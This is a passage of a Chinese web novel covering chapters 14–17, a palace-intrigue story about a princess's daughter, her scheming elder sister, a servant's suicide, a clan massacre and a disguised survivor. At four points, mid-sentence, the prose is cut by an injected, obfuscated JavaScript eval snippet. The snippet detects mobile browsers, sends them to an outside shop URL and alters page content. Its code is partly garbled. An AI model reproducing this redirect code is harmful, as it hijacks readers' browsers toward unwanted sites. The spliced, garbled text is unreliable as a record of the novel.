摘星忙揪住梅姑的衣领,指着她的鼻尖叫嚣道:“这两套玉犀杯可是东宫赐下之物,而今粉碎,太子殿下定要问罪你家大娘子,你这老婆子的脑袋肯定保不住了。” 梅姑听到这两套玉犀杯的来历,吓得浑身抖索,竟管控不住下面尿了一身。 梅姑向摘星哭求道:“摘星姑娘,我是无意的啊,这更不关我家大娘子的事了。” 摘星嫌恶地推开梅姑,命自己带出来的两个婢女架着梅姑回墨香斋。 小灵筠跪坐在廊檐下的莞席上,歪头瞧着下首不停向她磕头求饶的梅姑。 “兰姑在世时,你仗着自己是服侍长姐的,老欺侮服侍我的兰姑。你快活了这些年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948563|147355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,长姐也听了你这刁婆子不少挑唆,还指望自己能够安享天年么?”小灵筠听着微风吹动廊檐下悬挂的风铃,好久没有听见这般悦耳的铃声了。 一抹红色的身影冲入院中,正是久未打照面的谢神爱。 谢神爱喜欢穿正红色的衣裙,喜欢戴凤钗金珠,喜欢艳妆涂抹她那张娇柔的小脸,今日也没有一处例外。 “二妹妹,梅姑是服侍我的老人了,且她又是我母亲留给我的人,你不看僧面看佛面,让我将她带回去好好约束,我保证她不会再犯今日这样的错事了。”谢神爱柔声细语道。 “我何尝不知道梅姑对长姐你的意义,但这刁婆子心术不正,长姐断断留不得她在身边。长姐肯定不舍得发落她,那便由我来做这个恶人。”小灵筠抛了个眼色给摘星,“喊那几个掌刑婆子过来,打死这个黑心肝的刁婆子。” 梅姑忙爬到谢神爱脚下,抱住她的腿泣道:“大娘子,您可是我用血化成的奶喂大的。二娘子她用心不善,她要打死我,好再收拾您,您千万得护住我呀。” 谢神爱弯腰死死护住梅姑,“你们若敢打死梅姑,先打死我罢。” 摘星已领了四五个手持棍棒的婆子过来,她支使婆子们先拉开谢神爱与梅姑,当着谢神爱的面,对梅姑施以杖刑。 梅姑被两个婆子一前一后踩住手脚,趴在地上动弹不得,臀上皮开肉绽的滋味痛彻心扉。 她想要活命,于是喊道:“二娘子,我是贾氏的心腹,贾氏在世时存着离间你与敏怀公子骨肉亲情的心思,我都知道,我都知道的。” “当着长姐的面,你说这些做什么?”小灵筠挑眉看向口中吐血的梅姑。 “只要您高抬贵手,饶我一命,我就告诉您贾氏的秘密。”梅姑喘着气道。 “梅姑!你胡言乱语攀扯我母亲!”谢神爱娇艳的面容有些狰狞神色,她想上前用手绢堵住梅姑的嘴,但她被摘星、指月一左一右拉住了不能动弹。 “大娘子,您母亲的恶行,您知道的一清二楚,您就不要在这里装女菩萨了。”梅姑对上小灵筠望向她的目光,“二娘子,当年贾氏有孕,结果她为了救在荷塘边玩耍不慎落水的您而流产,这件事您可有印象?” “有的。”小灵筠道, “那是贾氏故意命人在荷塘边放了长满苔藓的小石子,您才不慎掉入塘里的。贾氏救起您,一是为博取敏怀公子对她这庶母的信任,二是为了名正言顺打掉她肚子里的孽种。贾氏那时候就与她表弟私通了。她这一石二鸟的好计谋,害得您在她手下受了这么多年的欺辱,她还故意不让敏怀公子与您亲近,在家中散播您刁蛮任性、喜欢欺负大娘子的谣言,又一直和敏怀公子说神武长公主只喜欢您、对他这个儿子厌恶透顶,害得敏怀公子对大娘子越发亲近怜爱,对您则疏远嫌恶。”梅姑说得唾沫横飞。 小灵筠的目光定在院门口听了许久墙角的谢敏怀脸上。 他面色阴沉得可怖,双目充血,应是在气恼自己受了这么多年的蒙骗。 15. 第 15 章 “梅姑,你方才说神爱也知道贾氏的恶行,我不管你其他话的真假,只这一句话,你答我是真还是假?”谢敏怀不死心追问梅姑。 梅姑看了一眼脸色惨白的谢神爱,谢神爱正抬手用帕子擦拭自己额头的汗珠。 那帕子梅姑认得的,是她小女儿近来惯用的那条帕子。 “梅姑,我对你问心无愧,你对哥哥讲真话便是了。”谢神爱柔声道。 梅姑忽而反口,“公子,大娘子这么好的人,我实在不忍为了二娘子给我的那些金银珠宝而出卖大娘子。”她拼着最后一口力气争起身来,指向小灵筠,“二娘子,人在做天在看啊,您嫉妒我们大娘子比你貌美才高,嫉妒我们大娘子得家主、公子的宠爱,您非得断了我们大娘子的活路才肯善罢甘休。今日我以死明志,要公子看看你有多恶毒。” 未等众人反应过来,梅姑一头撞在粗壮的廊柱上,喷出的热血溅了小灵筠一脸,连她身上的衣裙亦被鲜血染红大半。 谢神爱发疯似地跑过来摇晃小灵筠的肩膀,泣道:“梅姑与你无冤无仇,你若容不下我,大可冲着我来,为何要让梅姑如此为难?二妹妹,人命在你眼中难道如同儿戏吗?” 小灵筠刚要推开谢神爱,谢神爱已被谢敏怀拉开了。 谢敏怀扇了小灵筠一记耳光。 小灵筠右眼眼角下不停渗出血珠,因是谢敏怀的指甲不慎剐蹭到她的眼角,差一点就要伤到她的眼珠子了。 “公子听信梅姑的一面之词,何不听我们女公子辩一辩呢?”摘星已展臂挡在小灵筠身前,怕谢敏怀再打小灵筠。 指月则用帕子摁在小灵筠流血不止的右眼眼角上。 “她还有什么好辩的。” “我辩不辩,兄长都不会听。” 谢敏怀、小灵筠异口同声道。 “你这小毒妇倒有自知之明。”谢敏怀冷哼一声。 “兄长厌恶我,难道只因为我丑陋的容颜和不堪的品性吗?兄长不也有自己的私心,母亲将她所有的爱倾注在我身上,兄长对我何曾不是因妒生恨?”小灵筠自嘲地笑了几声,“不管兄长信不信,我总是希望母亲能将她的目光多停留在兄长身上的。” “我不需要你的施舍,我也从未妄想过母亲能够爱我。”谢敏怀牵起谢神爱的手朝院门口走去,“今日是最后一次,你要再敢迫害神爱的话,我一剑便能刺死你。你随便去和母亲告我的状,我不怕她。” 小灵筠对谢敏怀心死,他迟早有一日会被谢神爱害死的。 婆子们将梅姑的尸身抬出墨香斋,摘星带着婢女们将庭院各处打扫了三四遍,指月去请女医来给小灵筠诊治。 女医为小灵筠清洗完伤口,又开了外敷内服的药拿给指月。 “女公子伤口处的皮肉外翻太多,八成会留疤的。” “那我们女公子岂不是要破相了?”指月急道。 小灵筠平静地注视着铜镜中的自己,“我不怕留疤,我只怕眼角的伤口被母亲瞧见,母亲会斥责我。” “您都伤成这样了,长公主殿下心疼您还来不及呢。”指月道。 小灵筠:“母亲会斥责我眼皮子浅、将一门心思放在后宅争斗上,母亲还会骂我不中用、落进了长姐的圈套里。” 她委屈难过,想哭又哭不出来,不知发了多久的呆,才倒在床上昏沉沉睡去。 是夜,小灵筠浑身高热不止,她这一场大病断断续续生到了景元十四年四月初,期间帝后、神武长公主、晋阳沈氏皆派了名医来为小灵筠诊治,最好还是沈梵亲自来给小灵筠号脉、诊断出小灵筠中了损耗心脉的“沉毒”。 “沉毒”蔓延的源头正是小灵筠右眼眼角的疤痕处, 小灵筠右眼已不能视物。 沈梵用秘制的特效药水给小灵筠洗了一遍右眼,“我要再晚来几日,你这一辈子都要做个独眼龙了。” “一只眼睛看东西,和两只眼睛看东西,没什么分别嘛。”小灵筠故作轻松道。 沈梵眼眶一酸,忍着不让自己的眼泪掉下来。 “谢敏怀要不是你兄长的话,我早弄死他这不是东西的混蛋千百回了。” “我那位在清河的兄长,他没有问过关于我的事吗?”小灵筠问道。 “他啊,我都不知道他是生还是死。”沈梵为小灵筠的右眼缠上纱带,“他放着大好的前程不要,为逞一时意气,与盛京姜氏已打了三场仗了。危止、星野还和他一起胡闹,慕氏南府兵折损五六万之数,他的白袍军也死了七八千人。这几日,他应当就能攻破盛京城了。” “他出师有名吗?”小灵筠担忧崔循的处境。 “五个月前某一夜,崔氏粮仓被火焚尽,后查出放火的那伙歹人是盛京姜氏家奴。崔氏粮仓里的粮食除了军粮以外,剩下的都是用来赈济灾民的。崔循借百姓的名义灭盛京姜氏,理直气壮。”沈梵不耻崔循所为,她爱惜将士,才不会像崔循这般为报私仇而让亲军冲锋陷阵。 “没了这么多赈灾粮,那些饥民岂不都要饿死了?”小灵筠道。 “饥民被崔循统领的军队赶去盛京附近,那一带现在乱得很,人吃人,崔循这次可造了不少孽啊。”沈梵因此得出一个结论,千万不能触崔循这个丧心病狂的疯子的逆鳞。 “我要去清河,帮助那里的农人尽早催熟这一季的稻谷。阿梵姐姐,你是医者,比我更清楚人吃人的后果是什么。”小灵筠一脸严肃道。 “可崔循要的就是不计后果,瘟疫肆虐后,百姓先求的不是药,是神。”沈梵苦笑,“瞒瞒,或许崔循他是对的,用信仰捆缚住百姓,比发动流血的战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968285|147355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争更替皇朝要好得多。” 灭盛京姜氏只是崔循的一步棋而已,他要震慑华族,但他的野心又不止于让清河崔氏稳居衣冠十姓之首,他想成就一姓天下。 “他太狂妄了。”小灵筠明白了她母亲看崔循的双目总带着光的原因,她母亲年少也轻狂,她母亲和崔循是一路人。 * 盛京城内,沟渠中全是腥臭的血水,街道上死尸堆积如山、腐肉臭气熏天,除了一身重甲的兵卒有序巡逻之外,其余人气一概不见。 空旷的街市口,姜氏主支、旁支共计一千三百多口人像猪猡一样被圈在这儿。 “老人、小孩不杀,其余都判枭首之刑。”崔循站在角楼上向下望,“姜洵、姜姒兄妹俩还未寻见么?” 慕星野:“我已经派了几队人马分散成东南西北四个方向去找这对兄妹了。”他从袖中掏出一个小锦盒,“我们查抄姜氏庄园时,找到了这朵颜心花,你身上那些留了疤痕的陈念旧伤,正好可以用这朵颜心花治愈。” 崔循接过那小锦盒敛入袖中,垂眸凝视下面已成了无头尸的姜家儿郎,心里却没有多大的快意,他只想要他的母亲和妹妹还活着,倾其所有去换这样一个美梦,他亦甘愿。 * 四月的清河有一风俗——“放瘟”。 由家家户户心灵手巧的女郎亲手做风筝,再在放风筝时剪短风筝线,祈求家人的病痛都随风筝飞走。 擅做风筝的女郎,一天放飞一个风筝。 不擅做风筝的女郎,整个“放瘟月”才勉强做出一个风筝放飞。 前者为巧妇,百家求。后者为懒妇,鲜少有媒人愿意登门给她说媒的。 周娥媖对这条风俗嗤之以鼻,但在刚被接回清河的小灵筠的日常课业中加了一项课业——“做风筝”。其用意是希望女儿精进画工、在放风筝时跑跑跳跳顺便强身健体。 小灵筠蛮喜欢这项有趣的课业,每日做的风筝都不重样,今日做蝴蝶风筝,明日做蜻蜓风筝,后日做美人风筝…… 次次小灵筠剪断风筝线时,摘星都要叹一句,“可惜了女公子做的这样精巧好看的风筝。” 这日,小灵筠拿着刚做好的小燕风筝在花园里放,却听身后传来人声。 “谢二娘子,你这风筝做的不错。” 小灵筠听出是慕星野的声音,回首间,见慕星野手上拿了一串风筝,都是她这些日子放飞的。 “你手上这些都是我用来放瘟的风筝,怎么全被你给拾到了?”小灵筠问道。 慕星野看向身旁若有所思的崔循,“我们回来一路上碰到天上掉下这些风筝,阿循就命我捡了一路,他说你肯定懒得做风筝,正好有这些现成的风筝可以拿回来给你用来放瘟,省得你做了。” 小灵筠:“……” 16. 第 16 章 “你右眼、右眼怎么了?”慕星野看见小灵筠右眼角下方三道抓痕。 崔循紧盯小灵筠右眼处的伤痕,脸上闪过一丝不愉,抿了抿唇。 收了风筝线的摘星一时嘴快,道:“敏怀公子为谢大娘子出气,打伤了我们女公子。” 慕星野气呼呼道:“又是那个谢敏怀。谢二娘子,但凭你一句吩咐,谢敏怀哪只手打的你,我将他那贱手剁了给你赔罪。” 小灵筠与摘星俱笑出了声。 崔循从袖中掏出小锦盒递与小灵筠。 “此盒中有一朵颜心花,直接服下,眼角的伤便能好。” 小灵筠知道颜心花难得,婉言谢绝崔循的好意。 崔循作势要将那装了颜心花的小锦盒投入湖中,“你不要,我留着也无用,那就扔了吧。” 小灵筠这才收下,向崔循拜谢。 “我要亲眼看你吃下。”崔循道。 小灵筠照做。 若不是她与崔循相处了这么久,依崔循方才那咄咄逼人的气势,她定要以为他在颜心花里下了毒。 崔循见小灵筠咽下颜心花,转身去昭明堂向周娥媖请安。 慕星野跟上崔循,“你怎么那么着急?你把颜心花给了谢二娘子,你自己吃什么?” 崔循:“我虽不看重女子的容貌,但世人浅薄,尤其是世间男儿多以貌取人。她是个笨拙的小娘子,容貌再有毁伤,可就一无是处了。” “她笨拙?”慕星野一脸不可置信,“她谢灵筠要是个笨拙的小娘子,那全天下可没有聪明的小娘子了。她只是在她兄长的事情上看不开,别忘了,我们攻城用的改良鲁班梯就是她画的图纸。她就是太善了,但凡她有一点害人的心思,都不至于被人欺负成这样。” 慕星野一怔,想到了从前的崔循。 崔循的母亲和妹妹在世时,他并不是这样心狠手辣的人,他与太子周澈一般是个白衣出尘的端方君子。 可惜这世道容不下从前的崔循,你不欺人,人必欺你,上位者都是踩着尸山血海坐高台的。 “谢大娘子似乎想嫁入东宫,不如称了谢大娘子的意。”崔循将自己的私印抛给慕星野,“你去趟白玉京,将这事定下来。” 慕星野不解,“她这样心思不纯的小娘子,你帮她做甚?将来她成了太子妃,更要作践谢二娘子了。” “东宫女眷品阶有嫔、良媛、良娣、承徵、昭训、奉仪,不拘谢大娘子得哪一个位分。”崔循道。 慕星野懂了崔循要羞辱谢神爱的用意。 * 小灵筠近日忙完每日课业后,就骑马去乡郊田野教导农人精耕之术。 “女侯之前教我们如何提前催熟稻谷,正值荒年,粮食紧俏,我们从来没有卖过像今年这么高价的稻谷。交完了税赋,今年清河的农人都能过个好年了。”站在自耕田上边的农人阿三道。 其余农人拿着糕饼瓜果聚过来酬谢小灵筠。 摘星、指月指挥护卫们收好乡亲们的心意。 小灵筠与农人们谈论今年的收成,忽听得一声凄厉的“救命”。 众人循声望去,村庄上的大傻子二牛正追赶一个衣衫褴褛、披头散发的女郎。 二牛流着口水哈哈大笑。 那女郎边哭边跑,不慎被石头绊住,跌倒在地。 花大娘赶紧去轰走二牛,扶起那可怜的女郎。 那女郎忽飞出一把匕首朝小灵筠而来,小灵筠闪身一躲。 摘星惊呼道:“有蛇!” 护卫上前将小灵筠脚边扭动的毒蛇砍成几段。 小灵筠方明白过来那女郎是想救她。 女郎近前,朝小灵筠伏地叩首。 “小女子前日死了兄长,在这世上无依无靠,恳请贵人收留。” 风吹起女郎挡在脸前的乱发,她大半张脸都烂掉了,很是恐怖。 “你的脸怎么伤成这样?”小灵筠问道。 女郎哽咽道:“兄长临死前怕小女子遭贼人惦记,用匕首划烂了小女子的脸,以求小女子能苟活一日是一日。” 摘星不忍,“女公子,咱们把她带回长公主府吧。” 指月却提醒道:“女公子,这位女郎可怜归可怜,但长公主府不收留来路不明的奴婢,咱们给她几个钱算了。” 女郎从怀中掏出身籍纸给小灵筠看。 “女公子,婢子身家清白,只求女公子赏口饭吃。” 小灵筠看过身籍纸后,将身籍纸传给指月、摘星看过。 “小琴。”小灵筠唤女郎的名字,“你以后就跟着摘星做活。” 小琴朝小灵筠磕头致谢。 指月将身籍纸还给小琴,注意到小琴的手上虽有污泥,但她十指纤纤显然是不常干粗活的人,问道:“你从前是干什么的?” “婢子与兄长同是大户人家的仆人,婢子贴身服侍原来主人家的小姐,为小姐铺床叠被、斟茶倒水、梳洗更衣。”小琴怯怯回道。 指月不再问小琴了,倒是摘星一路上叽里呱啦和小琴说个不停。 * 盛京姜氏被抄家灭族后,崔循选了崔氏族人中一房姓姜的家仆去往盛京承继姜氏家业。 自此,衣冠十姓中的盛京姜氏成了清河崔氏的附庸,姜氏仅存的十五万贪狼军也由崔循调遣。 华族中人非议此事,都怕自家落得姜氏满门凄惨的下场。 朝堂上华族出身的官员争先恐后向靖帝奏请复崔循宰相之位,以求巴结崔循。 酷暑难耐,小灵筠身着雪衣纱裙坐在冰鉴旁临帖,戴着面纱的小琴跪坐在小灵筠后方为她打扇。 珠帘响动—— 崔循入书室给小灵筠带来一个好消息,她通过了武神殿的考试,可以去武神殿学兵家之术。 “谢二娘子,你的成绩是甲等,实在令我佩服。”慕星野抱着一个西瓜,“自我大靖建国以来,武神殿只出过三名甲等成绩的学生,分别是佛莲将军沈梵、忠武侯章衍之和你。” “你在文心阁的入学考试成绩也是甲等,你真的下定决心要去武神殿吗?”崔循瞥了一眼小灵筠身后的小琴。 小琴打扇的手腕一颤,而后复原如初。 “文心阁出士,武神殿出将。”小灵筠望向崔循,“兄长指点江山,我学成后为兄长大杀八方。” 崔循勾起唇角,冷峭俊美的脸上浮现温柔的笑意。 “你已有佩剑‘般若’,我赠你一张天下名弓。” 慕星野将西瓜捧给摘星去切,从自己身后取下一张玉骨弯弓,弓弦是用最好的羿丝制的。 小灵筠看到弯弓,美目放光,接过后爱若珍宝。 “刹那,这是我最想要的一张弓。只要轻易一拉弓弦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010184|147355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过数息便能将箭射出百步之外,故名‘刹那’。” 慕星野垂涎这张‘刹那’弓已久,但见女孩稚气白嫩的小脸上露出的笑容灿若明月,不由心醉。 “谢二娘子,都说女大十八变,你还没到十八岁,怎么越长越水灵了,这风采比原来那名盛天下的第一美人姜姒都不差的。”慕星野说起浪言浪语来。 “啪——” 小灵筠身后的小琴跌了手中的团扇,连忙伏身向小灵筠告罪。 小灵筠温声道:“你为我打扇有半个时辰了,手也酸了,退下去歇息吧。” 小琴退出书室。 摘星端来切好的西瓜给小灵筠、崔循、慕星野三人分食。 小灵筠吃着甜甜汁水充足的无籽西瓜,“星野哥,你们云中城种不出这么好的西瓜来吧。” 慕星野:“阿韶游学至云中城,送了一车他们晋阳的西瓜给我。” 崔循更正道:“沈二娘子托付了一车西瓜给你,要你替她送给谢小二,结果你在路上一口渴就吃一个,最后只剩这一个西瓜了。” 小灵筠:“……” 慕星野顶道:“就我一个人吃了吗?我在路上每次打开一个西瓜,你吃一大半,我吃一小半,你还在这儿向谢二娘子告我的状,你知不知羞啊?” 崔循刀了慕星野一眼,慕星野知趣地闭嘴。 小灵筠:“……” 说起沈韶,小灵筠叹气道:“要是阿韶和我一起去武神殿修学就好了,我也能有一个伴。” 慕星野看了一眼崔循,“放心,你在武神殿肯定能遇到熟人。” 崔循三日前破天荒地接受了武神殿大宗师飞鸽传书给他的聘师帖。这是武神殿给他发聘师帖的第四个年头,他前三年分别以体弱、多病、没时间拒绝了武神殿的邀请,今年为了陪他的便宜妹妹读书,特意推了文心阁讲学的差事。 文心阁讲学,可以巩固崔循在华族的威望。 因为华族子弟有九成都在文心阁修学,而武神殿多是寒门草莽出身的学生。 华族可不屑与寒门草莽为伍。 “沈大娘子当年弃医从武,就是为了让沈二娘子能有选择不入武神殿修学。你去了武神殿,也能结识其他与你志趣相投的小娘子。”崔循安慰小灵筠道。 慕星野心想:谢二娘子,你兄长都给你把一切安排好了,你在武神殿的学伴都是你兄长精挑细选过的。 崔循又命婢女抬上一卷莞席,“你身下跪坐的这张莞席已经破败得不成样子,换上这一张新的。” “依江陵风俗,在室女常日用的莞席需由她兄长或者舅舅亲手编制而成。我身下这张莞席虽破,却也是我那可恶的兄长赠我的。”小灵筠说道。 实际这张莞席,是谢神爱用旧了赠给她的,她别无他法只能收下,因为谢敏怀和靖帝都不可能给她亲手编制莞席,她平日又缺不得这样的玩意儿。 “阿循都快把《江陵风物志》翻烂了,为了研究你们江陵在室女用的莞席样式,阿循他编了又拆、拆了又编,编了不下百张莞席,才挑出这张满意的莞席赠给你。他自以为拿的出手,你要嫌弃,尽可不收。”慕星野见崔循总不将他对她的心意说出来,索性替他一口气说完,“我说小灵筠啊,谢敏怀那个王八蛋只占了与你一母所生的便宜,要论谁是全天下最好的兄长,那当然是我们阿循了。” 17. 第 17 章 “这张莞席上的图案精密华美,编制莞席之人想必花了好大的心血。” 正坐在胡床上盯看莞席入神的小灵筠听到周娥媖的话音,醒过神来,下胡床朝周娥媖伏身拜倒。 周娥媖拣了另一张胡床坐下,托着小灵筠的下巴细瞧她右眼角新养好的皮肉。 “阿循将你视作亲妹疼爱,却违背了我不想娇养你的初衷。小孩儿要经受得住摔打方能成器,你道我为何不命奴婢去江陵喊你兄长过来受责罚?” “母亲不在乎兄长能不能成器。”小灵筠恭敬答道。 “是了。”周娥媖收回手放在膝上,“为让你兄长平安出世,我放着唾手可得的大靖江山不要,我这母亲做得也算仁至义尽。” “女儿不明白,兄长与我都是一父所出,母亲却将我们两般看待。”小灵筠有时也可怜谢敏怀,他因得不到母亲的爱而对她嫉妒得发狂。 “我未出嫁前便盼望着能得一个女儿,女儿多好啊,是为娘的贴心小棉袄。”周娥媖脸上露出慈爱的笑容,“你简直与儿时的我是一个模子刻出来的,也别怪我心狠,逼着你习文练武一刻不得清闲,他年你若为女帝,也不枉费我教养你一场。” 小灵筠一想到自己长大后要与周澈争天下,不免头疼得紧。 谢皇后与周澈待她很好,她却要做恩将仇报的白眼狼。 “瞒瞒,再金尊玉贵的郎君,也不过是你手中的玩意儿,无用便弃。”周娥媖不想小灵筠生出女儿家旖旎的心思,“你牢牢记住母亲这句话,世间男儿多薄幸,万不可对谁交出自己的真心。” “母亲和崔叔叔又算什么?”小灵筠问道。 “我不过是挑了一个对我最好的男人来做我的郎婿,可你不必学我。你皇祖父、皇祖母崩后,我失了他们的托举。但你不一样,你有我与清河崔氏的托举。”周娥媖看着小灵筠灵动秀美的眼睛,“所以你要快快长大,长到我能将三十万鸣鸾卫放心交与你统领的时候,我便不再约束管教你了。” 小灵筠应允得很快,心里头却在叹气,她想要的与她母亲对她的期许完全不同。 * 入武神殿求学四年有余,昔日的黄毛丑丫头长成了亭亭玉立的少女,竹林舞剑,手腕轻轻翻转便成一道剑气。 那剑气硬生生截断数十根粗壮的绿竹。 少女雪衣墨发,明眸清冷,素白的一张脸冷如霜雪,整个人倨傲又高洁。 “灵筠,吃不吃糖葫芦?”沈韶两手各抓了一支红艳艳的糖葫芦向少女跑来,身后跟着的慕星野则扛着一插耙的糖葫芦。 慕星野含笑温声道:“阿韶,你跑慢点。” 谢灵筠将手中长剑归入腰挎的剑鞘之中,“我不吃零嘴儿。” 沈韶站在神色冷淡的少女面前,蹙眉道:“灵筠,你总这个样子,倒活成第二个崔循了。你小时候还会陪我玩陪我闹,现如今一日十二个时辰,除了吃饭睡觉的时间,你都用来读书习武了。这样活着有什么意思。” “阿韶,你不在医馆坐堂,又拉着慕将军到街市上瞎逛,还跑到武神殿来荼毒灵筠。” 沈梵刚从竹林旁的演武台过来,看到自家这个纨绔得不像话的妹妹,打也不是骂也不是,只能庆幸还好自己能够一力支撑起晋阳沈氏的门楣,妹妹可以随心所欲过她自己想过的小日子。 “阿姐,我一旬只得一日休沐。今日正好是休沐日,天色又这么好,不拉着星野痛痛快快玩,岂不浪费?”沈韶极力辩驳。 慕星野在一旁帮腔。 谢灵筠也道:“阿姐,阿韶上月刚著完一卷医书,我替阿韶校对过书稿,她细心稳重了不少。” 沈梵展露欢颜,为妹妹的长进而高兴,对妹妹只敢夸奖不超过三句话。 沈梵再了解不过沈韶,对她多夸奖一个字,她的尾巴就要翘上天了。 “阿韶,你与灵筠同岁,却不如灵筠太多。灵筠已经能够领兵打仗了,你连我教你自保的‘吹雪十三式’都没学会……”沈梵开始滔滔不绝训妹,沈韶垂头丧气不吭一声。 慕星野示意谢灵筠到亭子里说话。 “我兄长想拜托你一件事,嫂嫂明日领飞霜军出发去守上邪谷,我兄长请你随军护嫂嫂周全。”慕星野道。 “我早就向阿姐请命随军,阿姐也答应了我。你兄长在平阳谷与梁军浴血奋战,顾及不到阿姐,情有可原。”谢灵筠看不起华族子弟在大靖、大梁两国交战时退缩不前,一个二个将沈梵推出去打上邪谷这场硬仗,大梁没准还以为大靖已无男将可用,要一个有孕的妇人带领将士冲锋陷阵。 “阿韶怕她姐姐打仗时动胎气,也要随军,劳烦你再帮我照看阿韶。”慕星野有心无力,他明日也要领南府兵去支援守在嘉裕关的崔循。 “大梁觊觎我大靖北部已久,上邪谷、平阳谷、嘉裕关皆不可丢,我有一封家书要你替我带给兄长。”谢灵筠让慕星野随她到住处去取家书。 * 正是隆冬时节,而上邪谷位于大靖最北部,谷中积雪厚达五六寸,天气严寒肃杀,五万飞霜军陆陆续续进入谷中后就病了一成之数。 沈梵与谢灵筠选好地点安营,疲惫了大半月的沈梵腹中隐隐作痛,沈韶为沈梵把过脉后,将沈梵摁在床上要她至少休养一日。 军营中大小事务都交给谢灵筠打理。 谢灵筠这次出来,带了摘星、指月、小琴三个贴身婢女。 摘星、指月都会使剑,且能以一敌百。 小琴则擅长占卜天气。 谢灵筠在自己的军帐中与将领们讨论梁军可能行军的路线,忽有一个千户领了一位美艳不可方物的女郎进帐。 谢灵筠定目一扫,这女郎正是她长姐谢神爱。 “二妹妹,我三日前与兄长带领的龙骧卫走散,能否请你将我送回兄长身边?”谢神爱柔声细语,加上她容色惊艳,引得军帐中的将领们频频偷顾。 “龙骧卫取道上邪谷,是要去支援嘉裕关的。你不留在江陵家中,跟着谢敏怀作甚?”谢灵筠脑海中闪过一念,不由对谢神爱的小心思有些鄙夷,“太子殿下虽在嘉裕关,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027530|147355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他无暇儿女情长,你这不是作死嘛。” 谢神爱含泪跪在谢灵筠身前,好不可怜。 “二妹妹,太子殿下迟迟不肯允我入东宫服侍他,可我身上又有那道为太子良娣的旨意,我进也不是,退也不是,只能借这个机会来向太子殿下表明我对他的心意。二妹妹,求你命人护送我去嘉裕关。” 谢灵筠本就要照顾沈梵、沈韶,不想添一个谢神爱这样的包袱,刚要点将士护送谢神爱,却有一个斥候奔进来禀道:“将军,属下侦查到梁军在上邪谷西南方五十里外埋锅做饭,梁军似有企图往上邪谷攻来。” 看来谢神爱这个包袱甩不出去了。 谢灵筠对谢神爱道:“你去不了嘉裕关了,梁军挡在上邪谷去嘉裕关的必经之路,除非击退梁军,否则你不能平安抵达嘉裕关。” 谢神爱不肯死心,扯着谢神爱的衣袖哀求道:“二妹妹,只要你松口拨一支队伍护送我去嘉裕关,总有法子避开梁军的。” “不行,你若被梁军所俘,我分不出精力去救你。”谢灵筠拒绝。 谢神爱:“二妹妹,你是不是怕我去到嘉裕关得到太子殿下的宠爱,才不肯放行?” 谢灵筠听见谢神爱这样说,只觉得可笑,甩开了谢神爱扯她衣袖的手。 “我为什么要怕你得到太子殿下的宠爱?我又不需要靠嫁给谁来抬高自己的身份,我堂堂靖郡主、雪衣侯、花冠将军,需要怕你得势压在我头上么?” 谢灵筠命人将谢神爱拉出她的军帐另做安置。 谢神爱哭着叫道:“谢灵筠,你不能这样对我,我要和兄长说你欺负了我。” 谢灵筠不管她,继续与众将领商议对阵梁军的计谋。 * 谢神爱被安置在一处相距谢灵筠的军帐较远的军帐。 且谢神爱的军帐四周有重兵把守。 她抱膝坐在床上抽泣,嘴里小声咒骂着谢灵筠。 小琴拎着食盒进入军帐内给谢神爱送饭。 谢神爱看到小琴从食盒里取出一碟馒头,她拿起一个馒头就往小琴头上扔,怒道:“这是人吃的东西吗?” 小琴嗤笑一声。 “谢大娘子,你我都是被崔循坑害的人,你犯不着与我置气。” 谢神爱想到崔循当年设计她被靖帝赐于周澈做良娣就恨得牙痒痒。 她是父兄最疼爱的掌上明珠,明明可以做太子妃的。 “崔循坑害你什么了?”谢神爱望向小琴脸上狰狞的疮疤。 小琴苦笑道:“我盛京姜氏辉煌百年,却被崔循灭了全族。谢大娘子,我不怕告诉你我的真实身份,我是姜姒,当年盛京姜氏的五娘子。” 谢神爱“呀”了一声,不敢相信面前这半人半鬼的丑八怪是当年名盛天下的第一美人姜姒。 